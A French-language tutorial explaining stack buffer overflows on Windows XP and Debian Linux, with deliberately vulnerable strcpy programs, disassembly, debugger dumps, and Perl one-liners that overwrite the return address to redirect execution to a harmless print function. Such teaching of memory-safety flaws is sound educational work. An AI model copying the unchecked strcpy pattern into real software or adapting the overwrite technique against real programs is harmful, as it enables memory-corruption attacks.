Introduction aux Stack Overflow

Par Deimos le 04-01-2007



Texte explicatif des Stack Overflow sous GNU/Linux et Windows



Sommaire :
I. Introduction
II. Cas concret de Stack Overflow
II. 1. Sous Windows
II. 2. Sous GNU/Linux


I. Introduction

Un exécutable est composé, lorsqu'il est mappé en mémoire, de plusieurs sections bien distinctes:
     - Une section .text qui contient le code à exécuter
     - Une section .data comprenant les données globales initialiées
     - Une section .bss comprenant les données globaes non-initialisées
     - Une pile (stack) qui contient les variables locales aux fonctions
     - Un tas (heap) qui contient les variables allouées dynamique
(avec malloc() par exemple, en C)


code_header Exemple :
spacer
#include <malloc.h>

int i; // .bss
char c = 'A'; // .data

int main() {
     int j; // stack
     int k = 5; // stack
     char * buf = (char *)malloc(255*sizeof(char)); // heap
}



    Dans cet article, nous allons nous intéresser plus particulierement aux Stack Overflow, et présenter deux cas concrets, tout d'abord sous Windows puis sous GNU/Linux, afin d'intéresser un maximum de personnes =)



II. Cas Concret de Stack Overflow

II. 1. Sous Windows XP

    Well ... J'utilise comme compilateur Microsoft Visual Studio 2005, donc pour étudier tranquillement les vulnérabilités d'un code que l'on compile, il faut :

     - C/C++ : Génération de code : Vérification de la sécurité de la mémoire tampon : Non (/GS-)
     - C/C++ : Général : Format des informations de debogage : Activé
     - Edition de liens : Débogage : Génération des information de débogage : Oui (/DEBUG)

Le code utilisé pour simuler le dépassement de pile est le suivant :
code_header vuln.c :
spacer
#define _CRT_SECURE_NO_DEPRECATE 1

#include <stdio.h>
#include <string.h>
#include <malloc.h>

int main(int argc, char *argv[]) {
     if(argc < 2)
          return 1;

     char buffer[255];
     strcpy(buffer, argv[1]);

     return 0;
}

void foo() {
     printf("Hacking Attempt");
}



    Donc ... classique comme démonstration de Stack overflow, avec l'utilisation d'un strcpy() qui met dans un tampon de 255 octets(1 char = 1 octet) l'argument passé au programme. Il est cependant à noter que chaque frame de la pile fait 4 octets, et que donc l'espace réservé sera toujours un multiple de 4 (arrondi au supérieur, bien entendu), soit ici 256 octets.


    Note : L'instruction préprocesseur #define _CRT_SECURE_NO_DEPRECATE 1 permet à VS2k5 de laisser compiler le programme avec la fonction strcpy(), plutot que d'utiliser une fonction plus sécurisée.

    La fonction foo() ne sert à rien dans l'exécutable ; notre but sera ici de contourner le flux d'exécution du programme vers l'adresse de notre choix ... nous prendrons donc celle de cette fonction (le printf() nous assurera que ça marche bien ;).

    On va donc tout de suite tester ce qui se produit si on dépasse notre tampon ; donc en passant plus de 256 caractères en paramètre. Vite, un script perl de 2 lignes ...

code_header Exemple :
spacer
#!/usr/bin/perl

$args = "A"x260;

system("stack.exe",$args);


    Et il se passe quoi ... rien ! On teste avec plus ? Ok ... toujours rien ; pas moyen de faire planter le programme ...

    OMG ! Microsoft a implanté une protection en plus du /GS qui pwn la planète et qui roxxorise tout et pas moyen de l'enlever. Non, c'est pas ça =).


    Dans ce genre de cas, Ollydbg est notre ami, let's debug ... Voici le code désassemblé de la main() :


code_header disass main() :
spacer
00401020   > 81EC 00010000  SUB ESP,100
00401026   . 83BC24 0401000>CMP DWORD PTR SS:[ESP+104],2
0040102E   . 7D 0C          JGE SHORT stack.0040103C
00401030   . B8 01000000    MOV EAX,1
00401035   . 81C4 00010000  ADD ESP,100
0040103B   . C3             RETN
0040103C   > 8B8424 0801000>MOV EAX,DWORD PTR SS:[ESP+108]
00401043   . 8B40 04        MOV EAX,DWORD PTR DS:[EAX+4]
00401046   > 8A08           MOV CL,BYTE PTR DS:[EAX]
00401048   . 83C0 01        ADD EAX,1
0040104B   . 84C9           TEST CL,CL
0040104D   .^75 F7          JNZ SHORT stack.00401046
0040104F   . 33C0           XOR EAX,EAX
00401051   . 81C4 00010000  ADD ESP,100
00401057   . C3             RETN



Bon ... C'est très clair :
     - 0x00401020 : En soustrayant 0x100 au stack pointer, le programme réserve 256 octets (100 en hexadécimal) : exactement la taille de notre buffer
     - 0x00401026 - 0x0040103B : La condition sur le nombre d'argument (JGE / RET)
     - 0x00401046 - 0x0040104D : Cette boucle correspond à strcpy()

    Analysons de plus près la fonction strcpy() : On met dans CL l'octet situé à l'offset EAX du data segment, on incrémente EAX pour passé au caractère suivant et on teste si CL est NULL ou pas (caractère NULL = fin de chaine).

    En effet, il ya un léger problème ... j'espère que vous l'avez trouvé, c'est assez évident =) ... Ou est-ce que notre buffet est copié ? Nul part. Le code boucle pour ne rien faire : il passe caractère par caractère la chaine, et ne fait rien avec


    On comprend un peu mieux pourquoi le Stack Overflow ne marche pas ! Mais pourquoi la fonction strcpy() ne fait pas son rôle correctement ? Tout simplement car Visual Studio 2005 optimise le code, et vu que notre buffer n'est pas utilisé dans le programme aprs le strcpy() ; il ne voit pas l'utilité de le stocker dans la pile, donc il ne le stocke pas. Ainsi, je vais rajouter un printf() de ce buffer après le strcpy() (n'importe quelle autre instruction qui accede au buffer aurait fait l'affaire ...).

    Après recompilation et désassemblage, on obtient :


code_header disass main() :
spacer
00401020   > 81EC 00010000  SUB ESP,100
00401026   . 83BC24 0401000>CMP DWORD PTR SS:[ESP+104],2
0040102E   . 7D 0C          JGE SHORT stack.0040103C 
00401030   . B8 01000000    MOV EAX,1
00401035   . 81C4 00010000  ADD ESP,100
0040103B   . C3             RETN
0040103C   > 8B8424 0801000>MOV EAX,DWORD PTR SS:[ESP+108]
00401043   . 8B40 04        MOV EAX,DWORD PTR DS:[EAX+4]
00401046   . 8D1424         LEA EDX,DWORD PTR SS:[ESP]
00401049   . 2BD0           SUB EDX,EAX
0040104B   . EB 03          JMP SHORT stack.00401050
0040104D     8D49 00        LEA ECX,DWORD PTR DS:[ECX]
00401050   > 8A08           MOV CL,BYTE PTR DS:[EAX]
00401052   . 880C02         MOV BYTE PTR DS:[EDX+EAX],CL
00401055   . 83C0 01        ADD EAX,1
00401058   . 84C9           TEST CL,CL
0040105A   .^75 F4          JNZ SHORT stack.00401050
0040105C   . 8D0C24         LEA ECX,DWORD PTR SS:[ESP]
0040105F   . 51             PUSH ECX
00401060   . 68 5CDB4100    PUSH stack.0041DB5C                      ;  ASCII "%s"
00401065   . E8 35000000    CALL stack.0040109F
0040106A   . 83C4 08        ADD ESP,8
0040106D   . 33C0           XOR EAX,EAX
0040106F   . 81C4 00010000  ADD ESP,100
00401075   . C3             RETN



    Voila =) ! Apres notre strcpy() se trouve évidemment le CALL de printf(), mais, comme on l'attendait, une ligne s'est rajoutée dans la boucle du strcpy() : MOV BYTE PTR DS:[EDX+EAX],CL


    Retestons à présent notre script perl ; on obtient le fameux rapport d'erreur :


code_header Rapport d'erreur :
spacer
AppName: stack.exe AppVer: 0.0.0.0 ModName: unknown
ModVer: 0.0.0.0 Offset: 41414141


    Pas de doute, le Stack overflow a correctement fonctionné ; l'offset est à 0x41414141, ce qui correspond au code ASCII de 4 caractèrs "A". On peut vérifier ceci avec Ollydbg :

Ollydbg

    En effet c'est lors de l'instruction RET que EIP prend la valeur 0x41414141, car RET = POP EIP + JMP EIP, l'inverse du CALL (PUSH EIP + JMP EIP).


    A présent, on peut facilement détourner le flot d'exécution ... il suffit d'entrer en paramètre, apres notre "bourrage" (padding), l'adresse à stocker dans EIP. On regarde dans Ollydbg l'adresse de la fonction foo : 0x00401090 (on la voit sur le screenshot).

    Reste à modifier notre script perl et l'exécuter :


code_header Exemple :
spacer
#!/usr/bin/perl

$padding = "A"x256;
$ret = "\x90\x10\x40\x00";
system("stack.exe",$padding.$ret);


On obtient le résultat voulu :

code_header cmd.exe :
spacer
C:\Documents and Settings\Deimos\Bureau\c++\stack\debug>perl ret.pl
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAÉ?@Hacking Attempt
C:\Documents and Settings\Deimos\Bureau\c++\stack\debug>



II. 2. Sous GNU/Linux

    Ok, voyons à présent cette faille sous GNU/Linux. Les tests suivants sont faits sous Debian Sarge, avec un kernel 2.6.18.1, gcc 3.3.5-3, gdb 6.3-6.


    Pour tester la faille, je prends le code suivant :


Le code utilisé pour simuler le dépassement de pile est le suivant :

code_header shell :
spacer
deimos@l33tb0x:~/stackoverflow $ cat > vuln.c
#include <stdio.h>

void foo(const char* buf) {
     char buffer[255];
     strcpy(buffer, buf);
}

void bar(void) {
     printf("Hacking Attempt.\n");
}

int main(int argc, char *argv[]) {
     if(argc < 2)
          return 1;
     foo(argv[1]);
     printf("Plop\n");

     return 0;
}

deimos@l33tb0x:~/stackoverflow $ gcc -ggdb -o vuln vuln.c



    L'option -ggdb lors de la compilation du code avec gcc permet de laisser les informations de débuggage, au format de GDB. Ce code est différent du précédent dans la mesure où strcpy() se situe dans une autre fonction, foo() et non dans la main(). Notre but est toujours le même : contourner le flot d'exécution vers bar().


    Ainsi, sous Windows, seul EIP était pushé lors du CALL, donc on avait simplement à remplir le buffer de 256 octets, et écrire l'adresse de retour qui suivait immédiatement dans la pile. Désassemblons notre exécutable vuln avec gdb afin d'y voir plus clair, et de savoir après combien d'octet on arrivera à EIP.


    Note : Si vous ne connaissez pas les commandes sous gdb, man gdb, ou attendez mon tutorial sur le deboggage avec gdb sous GNU/Linux =).


code_header gdb :
spacer
(gdb) disass main
Dump of assembler code for function main:
0x080483f5 <main+0>:    push   %ebp
0x080483f6 <main+1>:    mov    %esp,%ebp
0x080483f8 <main+3>:    sub    $0x8,%esp
0x080483fb <main+6>:    and    $0xfffffff0,%esp
0x080483fe <main+9>:    mov    $0x0,%eax
0x08048403 <main+14>:   sub    %eax,%esp
0x08048405 <main+16>:   cmpl   $0x1,0x8(%ebp)
0x08048409 <main+20>:   jg     0x8048414 <main+31>
0x0804840b <main+22>:   movl   $0x1,0xfffffffc(%ebp)
0x08048412 <main+29>:   jmp    0x8048437 <main+66>
0x08048414 <main+31>:   mov    0xc(%ebp),%eax
0x08048417 <main+34>:   add    $0x4,%eax
0x0804841a <main+37>:   mov    (%eax),%eax
0x0804841c <main+39>:   mov    %eax,(%esp)
0x0804841f <main+42>:   call   0x80483c4 <foo>
0x08048424 <main+47>:   movl   $0x8048566,(%esp)
0x0804842b <main+54>:   call   0x80482d8 <_init+56>
0x08048430 <main+59>:   movl   $0x0,0xfffffffc(%ebp)
0x08048437 <main+66>:   mov    0xfffffffc(%ebp),%eax
0x0804843a <main+69>:   leave
0x0804843b <main+70>:   ret
End of assembler dump.
(gdb) disass foo
Dump of assembler code for function foo:
0x080483c4 <foo+0>:     push   %ebp
0x080483c5 <foo+1>:     mov    %esp,%ebp
0x080483c7 <foo+3>:     sub    $0x88,%esp
0x080483cd <foo+9>:     mov    0x8(%ebp),%eax
0x080483d0 <foo+12>:    mov    %eax,0x4(%esp)
0x080483d4 <foo+16>:    lea    0xffffff88(%ebp),%eax
0x080483d7 <foo+19>:    mov    %eax,(%esp)
0x080483da <foo+22>:    call   0x80482e8 <_init+72>
0x080483df <foo+27>:    leave
0x080483e0 <foo+28>:    ret
End of assembler dump.



     On remarque plusieurs choses sur l'organisation d'une fonction en analysant le code assembleur ; décomposons ceci en étapes (celles qui nous intéressent):

    - Sauvegarde de EBP : push %ebp
    - Position de EBP sur le haut de la stack : mov %esp, %ebp
    - Réservation de mémoire pour les vars locales : sub $0xzz, %esp
    - Code de la fonction
    - leave : mov %ebp, %esp; pop %ebp(inverse du
"prologue" de la fonction)
    - ret : pop ip (inverse du call)

     Pour que ce soit vraiment clair, un exemple ; si on prend ce code :

code_header Exemple :
spacer
#include <stdio.h>

int test(int a, char b, int c) {
    printf("plop\n");
    return 0;
}

int main() {
    int var1, var2;
    test(1,'A',3);
    return 0;
}



     L'organisation de la mémoire, mais surtout de la stack lors du traitement des instructions de test(), ie, dans ce cas, du printf(), correspond à celle sur le schéma suivant :


Organisation de la mémoire vive sous Linux

     Pour vérifier ces informations, un petit coup de gdb ....

code_header gdb :
spacer
(gdb) disass foo
Dump of assembler code for function foo:
0x08048384 <foo+0>:     push   %ebp
0x08048385 <foo+1>:     mov    %esp,%ebp
0x08048387 <foo+3>:     sub    $0x8,%esp
0x0804838a <foo+6>:     mov    0xc(%ebp),%eax
0x0804838d <foo+9>:     mov    %al,0xffffffff(%ebp)
0x08048390 <foo+12>:    movl   $0x80484f4,(%esp)
0x08048397 <foo+19>:    call   0x80482b0 <_init+56>
0x0804839c <foo+24>:    mov    $0x0,%eax
0x080483a1 <foo+29>:    leave
0x080483a2 <foo+30>:    ret
End of assembler dump.
(gdb) b *0x08048385
Breakpoint 1 at 0x8048385
(gdb) r
Starting program: /home/deimos/stackoverflow/test
Failed to read a valid object file image from memory.

Breakpoint 1, 0x08048385 in foo ()
(gdb) x/20w $esp
0xbffdb158:     0xbffdb178      0x080483cf      0x00000001      0x00000061
0xbffdb168:     0x00000002      0xb7fa4f40      0xb7fcb540      0x08048440
0xbffdb178:     0xbffdb1d8      0xb7e88974      0x00000001      0xbffdb204
0xbffdb188:     0xbffdb20c      0x00000000      0xb7fa4f40      0xb7fcb540
0xbffdb198:     0x08048440      0xbffdb1d8      0xbffdb180      0xb7e88936



     On voit ainsi que tout correspond bien au schéma ci-dessus ; a l'exception que gcc a alloué plus que 2*4 octets pour les variables locales, il a alloué 24 octets (voir sub ci-dessous).

code_header gdb :
spacer
(gdb) disass main
Dump of assembler code for function main:
0x080483a3 <main+0>:    push   %ebp
0x080483a4 <main+1>:    mov    %esp,%ebp
0x080483a6 <main+3>:    sub    $0x18,%esp



     A présent que l'on sait exactement calculer à quelle adresse ce situera l'EIP à écraser, retournons à notre fameux vuln.c de tout à l'heure ... Nous voulons exécuter la fonction bar(). Je vous laisse le petit exercice de calculer vous-même le nombre d'octets avant EIP ;)

code_header gdb :
spacer
deimos@l33tb0x:~/stackoverflow $ ./vuln `perl -e 'print "A"x268; print "\xe4\x83\x04\x08";'`
Hacking Attempt.
Erreur de segmentation